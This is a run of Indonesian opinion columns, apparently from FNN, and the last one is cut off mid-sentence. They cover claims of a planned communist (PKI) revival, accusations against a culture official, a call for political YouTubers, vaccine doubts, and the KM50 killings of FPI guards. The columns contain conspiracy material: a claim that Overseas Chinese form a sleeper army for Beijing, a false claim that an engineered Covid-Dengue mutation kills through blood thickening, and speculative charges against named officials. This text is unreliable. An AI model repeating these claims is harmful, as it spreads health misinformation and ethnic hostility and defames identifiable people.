PKI bangkit kembali? Pertanyaan itu dalam beberapa hari ini menguat lagi. Hal tersebut dipicu oleh permintaan Ketua Umum PDIP Megawati kepada Mendikbud Nadiem Makarim agar meluruskan sejarah pemberontakan G30S-PKI. Bersamaan dengan itu video wawancara mantan Panglima TNI Gatot Nurmantyo kembali beredar. Apa yang disampaikan oleh Gatot di Kompas TV itu sebagian sudah terjadi. Tanda-tandanya sangat kuat semuanya akan terjadi. Dalam wawancara di Kompas TV Gatot menyebut tanda-tanda tersebut adalah menghilangkan budaya dan semangat nasionalisme. Pintu masuknya melalui dunia pendidikan. Pelajaran Bahasa Indonesia, agama, civic, dan budi pekerti dihilangkan. Beberapa waktu lalu kita dihebohkan frasa agama dihilangkan dari Visi Pendidikan 2035 yang disusun oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud). Melalui PP No 57 tahun 2021 Standar Pendidikan Nasional Pelajaran Agama dan Pancasila dihapuskan dari Mata Kuliah di Perguruan Tinggi. Semua yang disampaikan oleh Gatot terbukti. Meski hal itu kemudian diralat karena mengundang kehebohan dan kegaduhan, kita menjadi sadar dan bisa melihat dengan nyata, ada langkah-langkah yang terencana. Langkah berikutnya seperti dikatakan Gatot, sejarah pemberontakan PKI dihilangkan. Prediksi Gatot lagi-lagi tepat. Hanya saja sekarang istilah yang digunakan Megawati, pelurusan sejarah pemberontakan G30 S PKI. Di luar itu yang juga menghebohkan adalah hilangnya nama sejumlah tokoh Islam dari Kamus Sejarah Indonesia. Salah satu adalah pendiri NU Kyai Hasyim Asyari. Bersamaan dengan itu nama-nama tokoh PKI, namanya secara lengkap dimasukkan ke kamus sejarah. Media mencatat, nama mereka termasuk yang terbanyak. Entahlah, apakah ini masih merupakan bagian dari skenario itu, atau kebetulan saja, peran tokoh PKI sengaja ditonjol-tonjolkan. Dalam laman Wikipedia, nama Ketua Umum PKI DN Aidit muncul sebagai salah satu tokoh pemuda dalam peristiwa Rengasdengklok. Peristiwa Rengasdengklok adalah sebuah peristiwa heroik, ketika sejumlah tokoh pemuda menculik Soekarno-Hatta. Peristiwa ini dianggap sebagai pemicu yang mempercepat Soekarno-Hatta membacakan naskah proklamasi Kemerdekaan Republik Indonesia. Selama ini nama-nama yang muncul dalam sejarah adalah tokoh pemuda Sayuti Melik, Wikana, Chairul Saleh, dan kawan-kawan. Tidak ada nama Aidit. Tinggal satu tahapan lagi berdasarkan prediksi Gatot sehingga PKI bangkit. Yakni Pencabutan TAP MPRS tentang PKI sebagai partai terlarang . Setelah itu diikuti proses rehabilitasi. Sempurnalah sudah. Banyak yang tak meyakini PKI akan bangkit kembali. Alasannya sebagai sebuah ideologi, komunis sudah bangkrut. Sejarawan Salim Said termasuk dalam barisan yang tidak yakin PKI bangkit lagi. Akan tetapi, dia meyakini ada warisan dendam. Bagaimanapun juga mereka mengalami represi selama Orde Baru. Termasuk keluarga Soekarno. Satu lagi yang perlu dicatat. menurut Salim Said, PKI itu sangat pandai menyusup. Jangan lupa PKI pada waktu itu mengklaim mempunyai kader 20 juta orang. Berapa besar jumlah anak cucunya? Kalau masing-masing punya dua orang anak saja, setidaknya ada 40 juta orang. Mereka terus bergerak dan menyusup ke berbagai profesi, termasuk di dunia politik. Yang dituduh menjadi tempat berlindung paling nyaman adalah PDIP. Kebetulan pula ada anggota DPR RI dari PDIP yang secara terbuka mengaku bangga sebagai Anak PKI, yakni Ribka Tjiptaning. Secara politik Mega juga tampaknya tidak terlalu terganggu dengan klaim dan pengakuan Ribka. Tidak coba disembunyikan. Bahkan dia pernah diberi jabatan sebagai pimpinan komisi. Sikap Mega ini tidak mengherankan. Karena Soekarno dulu juga menggaungkan Nasakom. Persatuan antara kaum nasionalis, agama, dan komunis. Bersamaan dengan berbagai tanda-tanda kebangkitan PKI itu, selama rezim Jokowi umat Islam mengalami represi. Sepanjang sejarahnya, PKI sangat memusuhi umat Islam. Mereka dulu sering sekali membuat provokasi. Terutama dari berbagai kegiatan kesenian dan kebudayaan, yang dipelopori oleh seniman Lembaga Kebudayaan Rakyat (Lekra). Sebuah organisasi onderbouw PKI. Jadi lepas benar tidaknya PKI akan bangkit, berbagai keributan yang terjadi di Kemendikbud, ditambah permintaan Megawati meluruskan sejarah membuat umat Islam menjadi waspada. Dipastikan isu ini akan menjadi sumber ketegangan baru antara pemerintah dengan umat Islam. Jalan terbaik, sebagai sesama anak bangsa, kita duduk bersama. Bicarakan secara baik-baik, apa sebenarnya yang diinginkan oleh pemerintah terutama partai penguasa PDIP. Harus diingat, walaupun secara kekuatan politik dan ekonomi umat islam saat ini sangat lemah, namun secara populasi tetap terbesar. Umat Islam tidak bisa disingkirkan begitu saja. **

Kuat Dugaan Dirjenbud Hilmar Farid Ingin Memutihkan PKI?

by Asyari Usman Jakarta, FNN - Saat ini sedang viral soal nama KH Hasyim Asy’ari (pendiri NU) yang dihilangkan dari Kamus Sejarah Indonesia (KSI) Jilid 1 terbitan Kemendikbud. Dirjen Kebudayaan Kemendikbud Dr Hilmar Farid (HF) mengatakan bahwa itu terjadi karena kealpaan. Buka kesengajaan. Kalau dia alpa, maka itu berarti Hilman sangat khusyuk dengan nama-nama pentolan PKI yang dia cantumkan di KSI Jilid 1 yang kini ditarik dari peredaran. Skenario sengaja membuang nama KH Hasyim Asy’ari sangat masuk akal. Mengapa? Karena para ulama adalah musuh utama PKI. Sangat mungkin Hilmar tidak ingin generasi muda mengetahui perlawanan warga NU terhadap berbagai pemberontakan PKI di Indonesia. Ada video lama (2011) yang berjudul “Kaum Kiri dalam Historiography Orde Baru”. Bisa ditonton di Youtube. Di video ini, Hilman blak-blakan membela PKI. Video ini membuat saya tak percaya penghapusan nama Kiyai Hasyim Asy’ari itu tak disengaja. Setelah mencermati video berdurasi 5 menitan itu, tidaklah berlebihan kalau disimpulkan bahwa Hilmar ingin memutihkan PKI. Dan kalau Anda amati selama 15 tahun ini, sangat terang-terangan sekali upaya pemutihan atau rehabilitasi PKI yang diupayakan oleh banyak pihak. Masih di video 2011 itu, Hilmar mengatakan para penguasa Orde Baru merekayasa peristiwa sadis yang dilakukan oleh PKI pada 30 September 1965. Menurut Hilmar, landasan Orde Baru untuk berkuasa ialah dengan menginjak PKI. Meskipun sudah 10 tahun berlalu, video ini bagus untuk disimak agar Anda tahu persis tentang pikiran Hilmar Farid. Menurut hemat saya, dia punya agenda jangka panjang untuk membersihkan nama PKI dari perbuatan keji dan kejam yang mereka lakukan terhadap para jenderal AD dan para ulama serta umat Islam pada umumnya. Sekali lagi, saya yakin penghapusan nama KH Hasyim Asy’ari dari KSI Jillid 1 bukan kealpaan sebagaimana dikatakan oleh Hilmar. Tidak mungkin. Yang terjadi adalah penghapusan ketahuan, Hilmar pun membuat-buat alasan. Jadi, memang luar biasa dahsyat misi PKI untuk bangkit kembali. Didukung oleh banyak pihak. Ada parpol besar yang menampung dan menyokong mereka. Ada HF, sejawaran, yang juga mendukung. Sejak 2015, pria yang bernama lengkap Hilmar Farid Setiadi ini menjabat sebagai Direktur Jenderal Kebudayaan Kemendikbud. Posisi ini sangat strategis. Sebab, Dirjenbud berwenang mengelola, mengolah, dan menerbitkan buku sejarah. KSI Jilid 1 termasuk dibidani oleh HF. Di bagian awal tadi, saya katakan bahwa Hilmar tak salah kalau disebut ingin memutihkan PKI. Nah, mengapa dia pantas disebut ingin memutihkan PKI? Salah satu indikasinya adalah tesis doktor (PhD) yang dia tulis di National University of Singapore (NUS), Mei 2014. Judul tesis itu “Rewriting the Nation: Pramoedya and the Politics of Decolonization”. Tanpa membaca tuntas isi tesis ini, judulnya jelas membela gerakan kiri Indonesia. “Rewriting the Nation” lebih kurang bermakna menuliskan kembali sejarah bangsa (Indonesia). Kemudian, “Pramoedya” adalah nama tokoh gerakan kiri yang dinisbatkan sebagai pendukung PKI. Dalam tesis ini, Hilmar menukilkan kekaguman dan pujiannya pada kemampuan Pramoedya Ananta Toer dalam menuliskan sejarah versi Indonesia, bukan versi Belanda. Bagi HF, tidak ada penulis Indonesia yang bisa melakukan itu sebaik Pramoedya. Di dalam tesis ini, Hilmar memuji kehebatan perlawanan intelektual orang-orang yang disebutnya dari pergerakan kiri terhadap penjajah Belanda. Dia sebut penulis pergerakan seperti Marco Kartodikromo (1890-1935), Semaoen (1899-1971), dan Muso (1897-1948). Hilmar tidak menyebutkan mereka anggota atau aktivis komunis (PKI). Dia hanya menyebut mereka itu bagian dari “penulis pergerakan radikal”. Tetapi, Hilmar Farid ada menyebutkan tentang Partai Komunis (tanpa kata “Indonesia” di belakangnya) yang membentuk komisi bahan bacaan. Yang menerbitkan tulisan-tulisan propaganda untuk melawan Balai Poestaka (BP). Waktu itu, BP memang menjadi mesin propaganda penjajah. Jadi, Hilmar bukan orang sembarangan. Dia adalah seorang ideolog kiri. Tepatnya ideolog kebudayaan. Kehadirannya di Kemendikbud bukan hadiah atas dukungannya untuk Jokowi. Meskipun sebelumnya dia sempat menjadi komisaris di PT Krakatau Steel. Dia bisa dipastikan sebagai bagian dari ‘design’ untuk mentransformasikan rakyat Indonesia menjadi penyembah kebudayaan. Dalam transkrip wawancara dengan BBC yang dimuat di situs “hilmar farid”, Hilmar menjelaskan impiannya tentang orang Indonesia yang hari-hari mengutamakan kebudayaan. Tidak ada satu kata pun yang menyinggung soal pembinaan relijiusitas (dakwah). Tak salah kalau ada yang menyimpulkan bahwa Hilmar tidak suka hal-hal yang berbasis keagamaan –terutama Islam. Semasa menjadi aktivis, HF mengakui kegiatannya untuk melestarikan kebudayaan selalu terbentur dana penyelenggaraan kegiatan. Dia menginginkan ada berbagai festival kebudayaan (kesenian) yang bisa berlangsung (berusia) panjang. Hilmar memuji “Indonesian Dance Festival” yang bisa berlangsung panjang. Juga ada “Art Summit” dan “Jiffest”. Di awal masa jabatannya sebagai Dirjenbud, Hilmar berpendapat acara-acara kebudayaan itu seharusnya bisa didukung oleh dana CSR dari BUMN atau swasta. Dibuatkan regulasinya atau dilakukan pendekatan kepada pimpinan perusahaan. Hilmar Farid adalah orang pertama dari luar jalur PNS yang menjabat sebagai Dirjenbud. Pria kelahiran Bonn, Jerman, ini adalah aktivis kiri yang banyak membentuk wadah perjuangan. Pada 1994, dia mendirikan Jaringan Kerja Budaya. Dia juga membentuk Media Kerja Budaya yang menerbitkan bacaan reguler anak-anak. Belum sempat melihat sendiri bahan bacaan anak-anak itu. Tapi, sudah bisa diduga kontennya seperti apa. Hilmar tidak segan-segan mengutarakan kekagumannya pada Jokowi. Dia mengaku mulai kenal Jokowi sejak menjadi walikota Solo. Dia senang ketika Jokowi yang didukungnya habis-habisan itu menang pilkada DKI 2012 dan kemudian pilpres 2014. Pada Maret 2012, Hilmar bersama sejumlah rekannya mendirikan Relawan Penggerak Jakarta Baru (RPJB). HF juga mendirikan Institut Sejarah Sosial Indonesia pada 2002. Kemudian, sejak 2012 Hilmar duduk sebagai ketua Perkumpulan Praxis. Hilmar memiliki kapasitas untuk menjadikan kebudayaan sebagai panutan dan amalan rakyat. Ini sejalan dengan keinginan ketum PDIP Megawati Soekarnoputri yang menghendaki agar rakyat Indonesia mengutamakan kebudayaan –bukan agama. Penulis adalah Wartawan Senior FNN.co.id.

Dicari Youtubers Indonesia yang Peduli Masa Depan Bangsa

KANAL youtube memiliki daya pikat, pengaruh, dan “sihir” yang efektif untuk memengaruhi pikiran anak muda. Ini terjadi di seluruh dunia, termasuk di Korea Selatan dan Indonesia. Sama seperti di Indonesia, youtuber-youtuber top di Korsel adalah mereka yang mengunggah konten mukbang (menyiarkan acara makan atau kuliner dan memberikan testimoni). Tontonan lainnya di Youtube yang juga digandrungi adalah reality show para artis atau boys band atau opa-opa. Jumlah penonton dan subscribers-nya bisa mencapai jutaan. Pola yang sama juga terjadi di Indonesia. Youtuber top yang bukan artis adalah pelaku mukbang. Magdalena dan Nex Carlos memiliki subscribers hampur 4 juta, sedangkan Tanboy Kun mencapai 12 juta lebih subscribers. Di luar mereka adalah pengunggah konten prank macam Atta Halilintar bersaudara yang menjadi pioneer youtuber, dan para artis seperti Raffi Ahmad dan Baim Wong. Sayang sekali jika di Indonesia tidak muncul anak muda dari generasi Z maupun generasi Millenials yang menjadi influencer kuat untuk menguak masa depan suram negeri mereka sendiri. Jika ada influencer muda yang berani bersuara dengan data-data kuat, menohok, tak terbantahkan, dan narasi elegan, tentu akan didengar oleh sesama anak muda lainnya. Anak-anak muda lainnya akan menyimak dan kemudian mengikutinya. Anak muda Indonesia tidak memiliki panutan dari generasinya sendiri. Mereka mengalami hampa tokoh dan nihil contoh yang menurut mereka layak untuk didengar. Tokoh yang dimaksud dalam hal ini adalah semacam Hero di dunia digital. Yang berani menyuarakan kebenaran dan perlawanan dengan semangat kebebasan berpikir dan berkata-kata. Berdasarkan sebuah studi yang dilakukan oleh Variety Magazine (2014), enam dari sepuluh remaja dengan usia 13-18 tahun terpengaruh dengan menonton video di youtube. Para remaja cenderung lebih mudah terpengaruh oleh apa yang dilakukan Youtubers ketimbang apa yang dilakukan oleh selebritis. Menurut hasil survey, Youtubers dianggap memiliki korelasi yang tinggi dalam hal mempengaruhi pembelian di kalangan remaja. Orang mengidentifikasi dan mengadopsi perilaku mereka sesuai dengan nilai-nilai, keyakinan dan sikap yang mereka yakini (Bandura, 1986). Pengaruh sosial seperti Youtube digunakan untuk menyebarkan pesan secara cepat dalam skala besar kepada penggemar setia mereka dengan biaya yang relatif rendah. Dikutip dari Hasil Sensus Penduduk 2020, jumlah Generasi Z di Indonesia saat ini mencapai 75,49 juta jiwa atau setara dengan 27,94 persen dari total seluruh populasi penduduk di Indonesia. Usia ini mendominasi kategori penduduk. Sebagian di antara mereka akan menjadi pemilih pemula pada Pilpres tahun 2024. Sementara jumlah penduduk paling dominan kedua berasal dari Generasi Millenial sebanyak 69,38 juta jiwa penduduk atau sebesar 25,87 persen. Penyebutan Generasi Z merujuk kepada penduduk yang lahir di kurun waktu tahun 1997-2012 atau berusia antara 8 sampai 23 tahun. Sementara Generasi Milenial adalah mereka yang lahir pada periode tahun 1981-1996 atau berusia antara 24 sampai 39 tahun. Di Korea Selatan, anak muda yang berbicara politik masih jarang. Tapi Kaheva dkk sadar bahwa memengaruhi pola pikir anak muda harus dilakukan oleh anak muda pula. Harus oleh influencer atau sosok panutan seusia mereka pula. Karena sudah menjadi jamak bahwa anak muda tidak punya waktu untuk menyimak apa kata orang tua, kecuali orang tua itu sama masa bodohnya dan sama liberalnya dengan mereka. Kaheva adalah youtuber yang menjadi influencer kuat di Korea Selatan. Dia menganalisa berbagai isu, dan narasinya menyadarkan banyak kaum muda Korsel tentang ancaman yang mereka hadapi saat ini. Millenials Korsel yang terkenal hedon, apatis, dan cuek terhadap kondisi politik, kini bangkit lewat narasi penuh data yang dikemas menarik oleh Kaheva dan para anak muda lainnya yang peduli terhadap masa depan Korea Selatan. Terlebih posisi Korsel adalah hampir sama seperti Taiwan. Mereka harus selalu waspada kepada ancaman invasi yang dilancarkan oleh China daratan. Apa yang dikatakan oleh Kaheva ini sangat benar. Inilah yang terjadi saat ini. Kebangkitan Overseas Chinese yang menguasai seluruh dunia adalah hal tak terhindarkan. Pemerintahan Mainland China bagaikan memiliki pasukan tidur di semua negara. Keberadaan mereka senyap tapi kuat. Mereka menguasai ekonomi dan politik lewat boneka-boneka yang ditanam di pemerintahan. Kebangkitan mereka hanya tinggal menunggu komando dari China daratan. Sebagian negara sudah ditaklukkan China, menyusul negara-negara lainnya dengan modus menginvasi lebih dulu ekonomi mereka lewat jebakan utang. Dengan bantuan para Overseas Chinese yang loyal kepada China daratan, Pemerintah China yakin target mereka untuk menguasai dunia pasti akan tercapai. Kapan youtubers Indonesia punya sikap seperti Kaheva?

Dua Kali Vaksin Bukan Jaminan, Faktanya Ibu Cinta Positif Covid19

by Mochamad Toha Surabaya, FNN - Mengutip Detik.com, Minggu (18 Apr 2021 08:51 WIB), Ibu Cinta sapaan karib dari Atalia Praratya, istri Gubernur Jawa Barat Ridwan Kamil (Kang Emil) positif COVID-19. Padahal, Atalia sudah menjalani vaksinasi dua kali. “Hari pertama masih kaget, baru dikabari, bingung ketularan di mana. Memang saya ketemu banyak sekali orang dan masyarakat. Tapi, mudah-mudahan saya berharap teman-teman dan juga orang-orang yang dekat dengan saya tidak ada satupun yang tertular ya,” kata Atalia. Dalam video yang diunggah, Sabtu (17/4/2021), Atalia mengungkapkan, ia termasuk orang tanpa gejala (OTG). Atalia mengungkapkan, selama ini ia aktif dalam menerapkan protokol kesehatan. Meski begitu, ia meminta doa untuk kesembuhannya. “Sesungguhnya saya merasa orang yang aktif sekali menggunakan masker, cuci tangan, dan selalu diingatkan menggunakan hand sanitizer. Tapi, Allahualam, kehendak Allah seperti itu. Ya masih kaget aja hari ini, mohon doanya saja dari semua,” ungkapnya. Sebelum dinyatakan positif Covid-19, Atalia menyebut ia sempat merasakan sakit kepala. “Tidak terasa apa-apa, penciuman normal, hanya kemarin, kepala sedikit pening. Saya pikir karena kehujanan,” sebutnya. Atalia menambahkan, kondisi keluarganya khususnya yang berada di area Gedung Pakuan, termasuk suaminya, Kang Emil, non reaktif. “Keluarga besar pakuan alhamdulillah termasuk pak gub, arka, adc, walpri, dll non reaktif semua,” katanya. Atalia diketahui sudah mendapat vaksinasi dua kali. Momen Atalia disuntik vaksin pertama kali diunggah melalui akun Instagramnya pada 5 Maret 2021 lalu. Atalia mengunggah video mengenai proses vaksinasi dirinya. Dalam keterangannya juga Atalia menyebut mendapatkan vaksin sebagai kapasitasnya dalam Satgas Covid-19 Jawa Barat. Vaksinasi pertama pada 4 Maret 2021, dan kedua pada 18 Maret 2021. Sementara itu, Kang Emil menyatakan ia dan anak-anaknya negatif, meski sang istri Atalia terkonfirmasi positif Covid-19. Ia pribadi di test PCR dan hasilnya negatif, juga anak-anak mereka negatif Covid-19. Jadi, apa gunanya divaksin? Berarti vaksin tidak menjamin kekebalan tubuh dari serangan Coronavirus Disease 2019 (Covid-19). Begitulah tanggapan netizen terkait dengan Atalia yang akhirnya terpapar Covid-19 meski sudah divaksin dua kali. Sebelumnya, seperti dilansir Kontan.co.id, Senin (07 Desember 2020 / 10:13 WIB), Direktur Eksekutif Program Darurat WHO, Mike Ryan, mengatakan bahwa vaksin bukanlah akhir dari Covid-19. Mike Ryan menilai, perlu adanya sinergi semua pihak agar penyakit tersebut benar-benar bisa dihilangkan. “Vaksin tidak berarti nol Covid-19. Vaksin dan vaksinasi akan menambah alat utama yang ampuh pada kekuatan yang kita miliki,” ujarnya. Tapi mereka tidak akan melakukan pekerjaan itu sendiri. “Kita harus menambahkan vaksin ke dalam strategi kesehatan masyarakat yang ada,” ungkap Ryan yang hadir dalam Majelis Umum PBB, Sabtu (5/12/2020). Dilansir dari Euronews, pandangan serupa juga diungkapkan oleh Direktur Jenderal WHO Tedros Adhanom Ghebreyesus. Baginya, belum tepat jika menganggap bahwa pandemi telah berakhir dengan adanya vaksin. Mantan Menteri Kesehatan, Siti Fadilah Supari buka suara terkait perlukan vaksinasi untuk mengatasi pandemi Covid-19 saat ini. Hal itu disampaikan saat hadir dalam acara Karni Ilyas Club yang tayang di kanal YouTube milik Karni Ilmya, Kamis, 16 April 2021. “Kita perlu enggak sih vaksin? Sebetulnya dalam sejarah tidak ada yang mengatakan bahwa pandemi itu bisa dihentikan dengan vaksin,” ungkap Siti Fadilah Supari, dikutip Minggu, 18 April 2021. Menurutnya, pandemi tersebut terjadi, karena penyakit yang menyebar di masyarakat belum ditemukan obatnya. Ketua POKJA Infeksi Pengurus Pusat Perhimpunan Dokter Paru Indonesia (PDPI) Erlina Burhan menegaskan, adanya resiko terpapar Covid-19 usai divaksin menandakan, vaksinasi bukan segalanya untuk memutus penularan Covid-19. Masyarakat tetap harus menjalankan protokol 3M (memakai masker, mencuci tangan dengan sabun, menjaga jarak) usai vaksinasi. Ini karena resiko terpapar Covid-19 setelah divaksin masih bisa terjadi. Artinya, setelah divaksin, tidak boleh langsung euforia dengan meninggalkan 3M. Resiko terjangkit Covid-19 memang akan tetap ada setelah diberikan vaksin. Tapi resiko dan gejala klinis akan jauh lebih ringan. “Vaksinasi itu belum tentu menjamin 100 persen kebal dari Covid-19. Vaksin memang membantu capai herd immunity (kekebalan kelompok). Namun, yang namanya pandemi Covid-19 tidak hanya soal vaksinasi,” imbuh Erlina. “Vaksinasi bukan segala-galanya selalu. Walaupun sudah divaksinasi, selalu terapkan 3M. Menjauhi keramaian dalam menjalankan aktivitas sehari-hari serta menjaga imunitas. Jangan setelah divaksin, langsung euforia, enggak pakai masker dan pesta-pesta. Itu enggak boleh.” Bagaimana dengan Atalia Praratya, istri Kang Emil yang positif Covid-19. Padahal, Atalia sudah menjalani vaksinasi dua kali. Juga, telah menerapkan prokes yang ketat? Rasanya tak mungkin Atalia terpapar Covid-19 sebelum vaksinasi. Karena, jika Atalia sebelum divaksin ternyata sudah terpapar Covid-19, dapat dipastikan tidak akan mendapatkan vaksinasi. Atalia beruntung. Apalagi, ia istri Kang Emil. Andai bukan seorang istri gubernur, apa beritanya bisa viral seperti sekarang ini? Belum Selesai Apa yang dialami Atalia di atas membuktikan, Covid-19 masih ada dan belum selesai. Meski sudah divaksinasi ternyata terpapar Covid-19 juga. Jangan sampai mengalami seperti di India dan Brazil, yang sulit mengendalikan laju penularan dan jumlah kematiannya. Di kedua negara yang semula dianggap berhasil itu, sekarang sama-sama sulit mencari lokasi makam baru. Persamaannya dengan kita, sama-sama jumlah penduduknya banyak. Sebaiknya kita simak catatan Prof. Dr. dr. Eulis Datau yang penting ini: Kanada, melarang penerbangan masuk dan keluar, dan jumlah kematian harian telah melebihi 1.000; Arab Saudi, diblokir dan tidak ada penerbangan masuk/keluar; Tanzania, sepenuhnya diblokir; Brasil, jatuh ke babak paling mematikan, dengan lebih dari 4.100 kematian hari ini; Spanyol, telah mengumumkan bahwa keadaan darurat dapat diperpanjang; Inggris, mengumumkan penguncian selama satu bulan; Prancis, terkunci selama 2 minggu; Jerman, disegel selama 4 minggu; Italia, juga mengikuti dengan cermat hari ini; Semua negara/kawasan ini telah mengonfirmasi gelombang ketiga Covid-19 lebih mematikan daripada gelombang pertama. Oleh karena itu, kita harus sangat berhati-hati dan melakukan semua tindakan pencegahan. Menjadi komunikator yang waspada antara teman dan keluarga. Simpan semua orang dari gelombang ketiga. Jangan menilai dari blokade gelombang kedua tidak ada yang terjadi. Sejarah memberi tahu kita bahwa seperti flu Spanyol pada 1917-1919, gelombang ketiga lebih berbahaya daripada gelombang pertama dan kedua. Jutaan orang tewas. Lindungi diri Anda dan milik Anda Keluarga. Menjaga tindakan keamanan hayati, memakai masker, menjaga jarak sosial, sering mencuci tangan, dan lain-lain. Sejarah tidak akan pernah berbohong, mari kita renungkan. Mestinya kita semua jangan terlena, dan tetap waspada. Kebanyakan, penyebab kematiannya itu, kekentalan darahnya yang tinggi, sehingga gagal jantung. Secara umum, saat ini masih masuk gelombang ketiga. Mutasi virusnya, rekayasa yang mengkombinasikan antara Covid-19 dengan virus Dengue (demam berdarah). Yang terjadi pada manusia yang terinfeksi terjadi kekentalan darah yang amat tinggi yang menyebabkan gagal jantung, sehingga meninggal. Dari semua hal di atas, patut diberikan sebuah kesimpulan: dua kali vaksin Covid-19, apa pun produknya, ternyata bukan merupakan jaminan untuk terbebas dari pandemi ini. Kewaspadaan dalam menjalankan pola hidup bersih dan sehat tetap menjadi kunci utamanya. Penulis adalah Wartawan Senior FNN.co.id.

Berdoa Untuk Mubahalah Keluarga Korban Pembunuhan 6 Pengawal HRS

by Dr. Marwan Batubara Jakarta FNN - Penuntasan kasus pembunuhan enam anggota Front Pembela Islam (FPI) pengawal Habib Rizieq Shihab (HRS) secara adil, transparan dan bisa dinilai publik, sebagaimana dijanjikan Presiden Jokowi saat beraudiensi dengan TP3, pada 9 Maret 2021, tampak suram. Polri telah melangkah sepihak dengan memproses anggota Polri yang diklaim sebagai para “tersangka”. Padahal dasar hukum proses penyidikan Polri tersebut adalah laporan hasil peyelidikan Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang menurut Pasal Pasal 89 ayat (3) UU No.39/1999 tidak kredibel. Bahkan tidak valid dan sarat dengan rekayasa. Bagaimana bisa, Polri mendasarkan proses penyidikan hanya atas hasil pemantauan yang diakui Komnas HAM sebagai hasil penyelidikan? Ternyata minggu ini Polri terus melangkah “maju”. Kasus pembunuhan 6 pengawal HRS oleh tiga oknum anggota Polda Metro Jaya yang menjadi “tersangka” (satu orang “dinyatakan meninggal akibat kecelakaan”), saat ini sudah memasuki tahap pemberkasan. Hal ini dikonfirmasi Karopenmas Divisi Humas Polri Brigjen Rusdi Hartono di Jakarta (20/4/2021). Menurut Rusdi, penyidik masih memungkinkan untuk melakukan pemeriksaan terhadap para tersangka. Kalau sudah P21 dari Jaksa, baru dinyatakan penyidikan telah lengkap. Sebelumnya pada Kamis minggu lalu Rusdi di Mabes Polri mengatakan, penyidik telah melaksanakan gelar perkara terhadap peristiwa kilometer 50 tol Jakarta-Cikampek (Japek). Kesimpulan yang didapat dari gelar perkara yang dilakukan, maka status dari terlapor tiga anggota polisi tersebut kini dinaikkan menjadi tersangka," (6/4/2021). Namun hal yang paling mengherankan kita para penghuni Negeri +62 ini, adalah kalau benar menjadi “tersangka” pembunuhan sadis, mengapa sampai sekarang mereka tak kunjung ditahan aparat? Pada 17 April 2021 Ketua Komnas HAM Ahmad Taufan Damanik mengatakan Komnas HAM telah mengingatkan Polri untuk benar-benar menjalankan 4 rekomendasi Komnas HAM yang tercantum dalam laporan yang diakui sebagai laporan penyelidikan. Taufan juga mengingatkan agar Polri tidak membiarkan ada kelompok-kelompok masyarakat sipil yang menggunakan instrumen kekerasan. Move Taufan Damanik di atas tampaknya merupakan bagian dari upaya agar rakyat dapat memaklumi dan menerima begitu saja penyelesaian kasus pembunuhan enam anggota laskar FPI sesuai dengan skenario, yang antara lain berawal pada 7 Desember 2021. Menurut versi Polri, pembunuhan terjadi akibat terjadi baku-tembak. Para pengawal HRS memiliki senjata api dan terlibat penyerangan terhadap jajaran Polri. Skenario inilah dicoba untuk diselaraskan oleh hasil penyelidikan Komnas HAM, dengan membuat laporan sumir sebagai “hasil penyelidikan” yang statusnya hanya “laporan pemantauan”. Faktanya, pihak FPI, HRS dan keluarga korban telah membantah keterangan Polri tentang pemilikan senjata dan penyerangan aparat Polri oleh pengawal HRS. Itu sebabnya keluarga korban menantang dilakukannya Sumpah Mubahalah. Ternyata dengan status pemberkasan yang dilakukan Polri dan pernyataan Taufan Damanik di atas, tampaknya skenario bernuansa sarat rekayasa tetap berlanjut. Sumpah Mubahalah dianggap angin lalu. Karena itu, dalam bulan Ramadhan1442H ini, bulan penuh berkah dimana kita banyak berdo’a dan meminta pertolongan Allah, mari kita terus berdo’a, siang dan malam, agar Allah mengabulkan do’a-do’a kita. Kita pun memohon agar Allah segera menetapkan taqdirnya, menjatuhkan laknat kepada pihak yang mengingkari kebenaran atas Sumpah Mubahalah yang telah dibacakan pada 3 Maret 2021 lalu oleh keluarga korban. Seluruh keluarga korban pembunuhan enam pengawal HRS telah membacakan sumpah mubahalah secara sepihak untuk meyakinkan dan menyatakan kepada pemerintah dan rakyat bahwa para korban adalah pihak yang benar-benar dalam peristiwa pembunuhan di KM 50 Tol Cikampek. Acara mubahalah difasilitasi dan didukung penuh oleh Tim Pengawal Peristiwa Pembunuhan Enam Pengawal HRS (TP3), bertempat di Masjid Al Furqon, Kramat Raya, Jakarta Pusat. Sebelumnya, pada 7 Desember 2020 Kapolda Metro Jaya Fadil Imran mengatakan enam pengawal HRS tewas dalam baku tembak, karena menyerang jajaran Polri yang sedang menjalankan tugas penyelidikan kasus Habib Rizieq Shihab (HRS). Pada 14 Desember 2020 Polri menyatakan dua pengawal HRS tewas dalam baku tembak di kilometer 50 tol Japek. Sedangkan empat pengawal lainnya ditembak karena berupaya merebut pistol petugas di dalam mobil, sehingga polisi terpaksa melakukan tindakan tegas dan terukur (membunuh dengan sengaja). Namun sebaliknya, Pimpinan FPI menyatakan pengawal HRS tidak memiliki senjata apapun, dan karena itu dalam bertugas pasti tidak pernah menggunakan senjata. Hal ini merupakan ketentuan baku dan konsisten dijalankan internal ormas FPI. Sikap dan pernyataan seluruh keluarga korban pembunuhan juga sama. Bahwa anak-anak mereka tidak pernah memiliki senjata atau senjata api. Dengan demikian, para korban tidak pernah menyerang aparat yang semula disangka preman, karena tak penah menyatakan identitas sebagai aparat polisi. Karenanya tidak pula akan terjadi baku tembak, sebagaimana diklaim oleh Polri. Yakin dengan keterangan Pimpinan FPI dan pernyataan keluarga korban, termasuk setelah mendatangi dan mewawancarai seluruh keluarga korban, maka TP3 meyakini yang terjadi adalah pembunuhan yang patut diduga telah direncanakan sebelumnya. TP3 menilai, apa pun alasannya, tindakan aparat negara sudah melampaui batas dan bertindak di luar kewenangan. TP3 meyakini aparat negara telah melakukan pembantaian di luar prosedur hukum yang dalam istilah HAM disebut extra judicial killing. Bukan unlawful killing sebagaimana dinyatakan oleh Komnas HAM. Pada ranah publik pendapat kedua belah pihak memang saling bertolak belakang. Namun TP3 lebih yakin pada keterangan FPI dan keluarga korban. Oleh sebab itu, TP3 berupaya untuk mencari kebenaran dalam kasus yang mengusik rasa kemanusiaan ini. Itu pula sebabnya TP3 memfasilitasi dilakukannya Sumpah Mubahalah seperti diurai dalam tulisan ini. Salah satunya dengan menulis surat kepada Presiden Jokowi, sebagaimana dilakukan pada tanggal 9 maret 2021 yang lalu. Atas nama keluarga enam korban pembantaian, TP3 lantas melayangkan tantangan mubahalah kepada pihak Polri melalui surat No.04/A/TP3/II/2021 tertanggal 25 Februari 2021. Dalam surat tersebut, TP3 juga menyebutkan nama-nama yang ditantang untuk bermubahalah, yakni Kapolda Metro Irjen Fadil Imran, Kabid 